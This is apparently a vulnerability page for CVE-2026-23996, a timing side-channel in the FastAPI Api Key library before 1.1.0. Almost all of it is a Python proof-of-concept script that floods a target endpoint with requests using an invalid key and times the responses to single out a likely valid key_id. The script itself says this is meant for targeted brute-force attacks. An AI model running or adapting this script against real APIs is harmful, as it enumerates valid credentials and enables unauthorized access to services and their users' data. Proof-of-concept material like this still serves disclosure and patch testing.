CVE-2026-23996 FastAPI Api Key时序侧信道漏洞

#!/usr/bin/env python3 """ CVE-2026-23996 PoC - FastAPI Api Key Timing Side-Channel Attack This PoC demonstrates timing side-channel vulnerability in verify_key() method. """ import requests import time import statistics from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-api.com/api/endpoint" # Replace with actual target CANDIDATE_KEY_IDS = ["key_001", "key_002", "key_003", "key_004", "key_005"] # Sample key_ids NUM_REQUESTS = 1000 # Number of requests per key_id for statistical analysis def measure_response_time(key_id, api_key): """Measure response time for a single request.""" headers = { "X-API-Key": api_key, "X-Key-ID": key_id } try: start_time = time.time() response = requests.get(TARGET_URL, headers=headers, timeout=10) end_time = time.time() return end_time - start_time, response.status_code except Exception as e: return None, None def analyze_key_id(key_id, api_key, num_samples=100): """Analyze a key_id by measuring response times.""" response_times = [] print(f"[*] Analyzing key_id: {key_id}") for i in range(num_samples): elapsed, status = measure_response_time(key_id, api_key) if elapsed: response_times.append(elapsed) if (i + 1) % 100 == 0: print(f" Progress: {i + 1}/{num_samples}") if response_times: avg_time = statistics.mean(response_times) std_dev = statistics.stdev(response_times) if len(response_times) > 1 else 0 print(f" Average response time: {avg_time:.4f}s (std: {std_dev:.4f}s)") return avg_time, std_dev return None, None def main(): print("[*] CVE-2026-23996 Timing Side-Channel Attack PoC") print("[*] Target: FastAPI Api Key < 1.1.0") print() results = {} # Test with a known invalid API key first test_api_key = "invalid_key_12345" for key_id in CANDIDATE_KEY_IDS: avg_time, std_dev = analyze_key_id(key_id, test_api_key, NUM_REQUESTS) if avg_time: results[key_id] = { 'avg_time': avg_time, 'std_dev': std_dev } print("\n[*] Analysis Results:") print("-" * 50) # Sort by average response time sorted_results = sorted(results.items(), key=lambda x: x[1]['avg_time']) for key_id, data in sorted_results: print(f"Key ID: {key_id:15} | Avg Time: {data['avg_time']:.4f}s | Std: {data['std_dev']:.4f}s") if sorted_results: fastest_key = sorted_results[0][0] print(f"\n[!] Potentially valid key_id detected: {fastest_key}") print("[!] This key_id has statistically shorter response times.") print("[!] Attackers can use this information for targeted brute-force attacks.") if __name__ == "__main__": main()